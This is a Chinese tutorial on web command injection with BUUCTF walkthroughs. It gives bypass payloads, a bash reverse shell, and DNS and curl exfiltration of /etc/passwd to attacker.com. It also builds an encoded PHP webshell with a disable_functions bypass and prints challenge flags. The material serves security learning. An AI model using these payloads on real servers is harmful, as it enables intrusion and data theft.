本文仅用于网络安全技术学习与授权测试交流。本文实验皆在靶场进行,任何未经授权使用文中技术的行为均与作者无关,请务必遵守法律法规,获得许可后方可进行渗透测试。
目录
[六、CTFHub & BUUCTF 相关题目整理](#六、CTFHub & BUUCTF 相关题目整理)
[CTFHub(RCE 分类)](#CTFHub(RCE 分类))
[BUUCTF 相关题目](#BUUCTF 相关题目)
[GXYCTF2019Ping Ping Ping](#[GXYCTF2019]Ping Ping Ping)
[极客大挑战 2019RCE ME](#[极客大挑战 2019]RCE ME)
一、什么是命令注入
命令注入 是指 Web 应用程序在调用系统命令时,对用户输入的数据未进行严格过滤 ,导致攻击者可以通过构造特殊字符(如 ;、|、&、$() 等),将额外的系统命令拼接到原有命令中执行,从而控制服务器。
典型场景:网站提供 ping、nslookup、traceroute 等网络诊断功能。
$ip = $_GET['ip']; system("ping -c 4 " . $ip);
如果用户输入 127.0.0.1; id,则执行的命令变为:
ping -c 4 127.0.0.1; id
攻击者成功执行了 id 命令,获取系统信息。
二、命令注入的危害
-
信息泄露 :读取系统文件(
cat /etc/passwd)、环境变量、目录结构。 -
权限提升:如果 Web 服务以 root 运行,可直接控制整个服务器。
-
反弹 Shell :
bash -i >& /dev/tcp/attacker.com/4444 0>&1 -
内网渗透:利用被控服务器扫描内网、发动进一步攻击。
-
持久化后门:写入 WebShell、添加定时任务、SSH 公钥等。
三、常见的命令注入拼接符
| 符号 | 作用 | 示例 |
|---|---|---|
; |
顺序执行多条命令 | ping 127.0.0.1; id |
& |
后台执行(不影响后续命令) | ping 127.0.0.1 & id |
&& |
只有前一条命令成功才执行后一条 | ping 127.0.0.1 && id |
| ` | ` | 管道,将前一条命令的输出作为后一条的输入 |
| ` | ` | |
cmd |
反引号,命令替换(执行其中命令) | pingid`` |
$(cmd) |
命令替换(同反引号) | ping $(id) |
\n (换行) |
在某些环境中可分隔命令 | ping 127.0.0.1%0aid |
四、常见过滤与绕过技巧
| 防御/过滤 | 绕过方法 |
|---|---|
**过滤 ;、&、` |
`** |
| 过滤空格 | ${IFS} 替换空格:cat${IFS}/etc/passwd 重定向符 <、>:cat</etc/passwd 制表符 %09 或换行符 %0a |
过滤目录分隔符 / |
使用 cd 切换目录:cd etc; cat passwd 利用环境变量:${PATH:0:1} 等 |
过滤关键字符(如 cat) |
命令替换:c$()at、c""at、ca\t 使用通配符:c?t /etc/passwd 使用 base64 编码:`echo Y2F0IC9ldGMvcGFzc3dk |
| 过滤运算符 | 利用 %0a 换行注入:127.0.0.1%0aid |
| 禁止多命令执行 | 尝试无回显的命令注入(如写入文件、反弹 Shell) |
五、无回显命令注入的处理
如果命令执行结果不直接显示在页面上,可以采用以下方式获取输出:
-
写入 Web 目录:
ls > /var/www/html/output.txt然后访问
http://target.com/output.txt读取结果。 -
DNS 外带数据(针对 Linux):
cat /etc/passwd | xxd -p | tr -d '\n' | while read line; do host $line.attacker.com; done将数据通过 DNS 查询发送到攻击者服务器。
-
HTTP 外带 (需要
curl或wget):curl http://attacker.com:8080/$(id | base64) -
延时判断 :使用
sleep或ping -c观察页面响应时间。
六、CTFHub & BUUCTF 相关题目整理
CTFHub(RCE 分类)
| 题目名称 | 考点 |
|---|---|
| 命令注入 | 基础命令注入,无过滤,直接 ; ls 即可。 |
| 过滤 cat | 禁止使用 cat,可用 more、less、head、tail、nl 或通配符绕过。 |
| 过滤空格 | 使用 ${IFS} 或 <、>、%09 绕过空格过滤。 |
| 过滤目录分隔符 | 使用 cd 进入目录或 {cat,/etc/passwd} 绕过 /。 |
| 过滤运算符 | 使用换行符 %0a 或 $() 注入命令。 |
| 综合练习 | 多重过滤,需组合多种绕过技巧。 |
BUUCTF 相关题目
| 题目名称 | 考点 |
|---|---|
[GXYCTF2019]Ping Ping Ping |
经典的命令注入,过滤了空格、bash、sh、cat、flag 等,需多重绕过。 |
[极客大挑战 2019]RCE ME |
无回显命令注入,需要 php 编码或写 Shell。 |
[网鼎杯 2020 朱雀组]Nmap |
通过 nmap 的 -oG 参数写入文件,组合命令注入。 |
[HCTF 2018]WarmUp |
虽然有文件包含,但也涉及 php://input 执行命令,间接命令注入。 |
[ACTF2020 新生赛]Exec |
直接考察命令注入,过滤较少。 |
[GXYCTF2019]禁止套娃 |
通过 .git 泄露源码后,发现远程命令执行(RCE)点。 |
七、防御措施
| 层级 | 具体方法 |
|---|---|
| 避免调用系统命令 | 尽量使用内置函数(如 PHP 的 filter_var 验证 IP,而非 ping)。 |
| 严格白名单输入 | 只允许特定字符(如数字、字母、点),拒绝所有运算符和特殊符号。 |
| 转义危险字符 | 使用 escapeshellcmd() 和 escapeshellarg() 对参数进行转义。 |
使用 exec() 代替 system() |
不自动输出结果,且可只返回最后一行。 |
| 限制可执行命令路径 | 指定命令的绝对路径,避免环境变量污染。 |
| Web 用户权限最小化 | 使用低权限用户运行 Web 服务,禁止执行高危操作。 |
| 禁用危险函数 | PHP 中设置 disable_functions = exec,passthru,shell_exec,system,proc_open,popen。 |
| 安全监控 | 检测请求中是否含有 ;、` |
八、总结
命令注入漏洞的成因是对用户输入数据的不信任。开发者在调用系统命令时,应始终假设用户输入是恶意的,严格过滤或使用白名单。渗透测试中,命令注入往往能直接获取服务器控制权,危害极大。CTF 中常见的过滤绕过技巧(空格、关键字、运算符等)也是学习和理解该漏洞的绝佳途径。
九、靶场简单演示
GXYCTF2019Ping Ping Ping
- 确认注入点
· 输入 127.0.0.1 → 正常 ping 回显。 · 输入 127.0.0.1; ls(图 1000015421)→ 成功列出 flag.php 和 index.php,说明 ; 可用,注入存在。

- 尝试读取 flag.php 遇到过滤
· 输入 127.0.0.1; cat flag.php → 提示 fxck your space!,因为空格被禁。

· 尝试大括号 {cat,flag.php} 绕过空格 → 提示 fxck your symbol!,说明花括号被禁或触发了符号过滤。

· 尝试 127.0.0.1; catIFS9flag.php → 提示 fxck your flag!,仍然被检测。

- 使用变量拼接绕过 flag 关键字
· 输入 127.0.0.1;a=g;catIFS9flaa.php→ 成功! 页面输出了 ping 统计信息,并在底部显示了 flag="flag{b1f864c2-a297-49a0-a405-87151c5731d7}";,即 flag 内容。
最终有效 payload:
127.0.0.1;a=g;cat$IFS$9fla$a.php

极客大挑战 2019RCE ME
一、题目基础信息
| 项目 | 详情 |
|---|---|
| 题目来源 | 极客大挑战 2019 / BUUCTF |
| 核心考点 | 无字母数字 RCE、URL 编码取反绕过、PHP7 GC UAF 漏洞绕过disable_functions |
| 最终 flag | flag{b49a25eb-a297-42d1-a78c-56dfe96b3a87} |
二、步骤 1:源码审计,明确限制
打开靶机页面,源码如下:

编辑
<?php error_reporting(0); if(isset($_GET['code'])){ $code=$_GET['code']; // 限制1:Payload长度必须≤40字符 if(strlen($code)>40){ die("This is too Long."); } // 限制2:禁止所有字母、数字([A-Za-z0-9]) if(preg_match("/[A-Za-z0-9]+/",$code)){ die("NO."); } // 核心漏洞:直接eval执行用户输入 @eval($code); } ?>
关键限制拆解:
-
不能用任何字母、数字,常规
system()/phpinfo()无法直接写; -
Payload 长度必须≤40,需要精简无冗余;
-
后端直接
eval()执行,是注入入口。
三、步骤 2:生成无字母数字一句话木马 Payload
核心思路:按位取反 + URL 编码绕过
PHP 中~是按位取反运算符,对目标字符串取反后再 URL 编码,生成的字符串不含字母数字,可绕过preg_match过滤。
本地生成 Payload
编写本地 PHP 脚本,对一句话木马assert(eval($_POST[cmd]));取反并 URL 编码:
<?php $payload = "assert(eval(\$_POST[cmd]));"; echo urlencode(~$payload); ?>
运行脚本后,得到最终 Payload:
%9E%8C%8C%9A%8D%8B%D7%9A%89%9E%93%D7%DB%A0%AF%B0%AC%AB%A4%9C%92%9B%A2%D6%D6

编辑
拼接完整 URL访问:
http://你的靶机地址/?code=(~%9E%8C%8C%9A%8D%8B)(~%D7%9A%89%9E%93%D7%DB%A0%AF%B0%AC%AB%A4%9C%92%9B%A2%D6%D6);
注:
(取反字符串)(取反字符串)是 PHP 的可变函数调用格式,还原后为assert(eval($_POST[cmd]));
四、步骤 3:蚁剑连接配置
-
打开蚁剑,点击「添加数据」;
-
填写配置:
-
URL 地址:填写拼接好的完整 Payload URL;
-
连接密码:
cmd(和一句话木马的$_POST[cmd]对应); -
编码设置:UTF8;
-
连接类型:PHP;
-
-
点击「测试连接」,提示 "连接成功",配置生效。

编辑
五、步骤 4:绕过disable_functions
问题:终端执行命令返回ret=127
原因:靶机的disable_functions禁用了system/exec/shell_exec等所有系统命令执行函数,蚁剑终端默认调用这些函数,无法执行命令。
蚁剑插件绕过
-
右键你的靶机连接 → 「加载插件」→「辅助工具」→「绕过 disable_functions」;

编辑 -
模式选择:
PHP7_GC_UAF(适配你的 PHP 7.0 环境,利用垃圾回收 UAF 漏洞绕过禁用列表);
编辑点击「开始」,插件自动完成绕过配置。
六、步骤 5:获取最终 flag
-
打开蚁剑终端;
-
执行命令:
/readflag(靶机提供的 SUID 程序,以 root 权限读取 /flag 文件); -
终端直接输出 flag:
flag{b49a25eb-a297-42d1-a78c-56dfe96b3a87}。
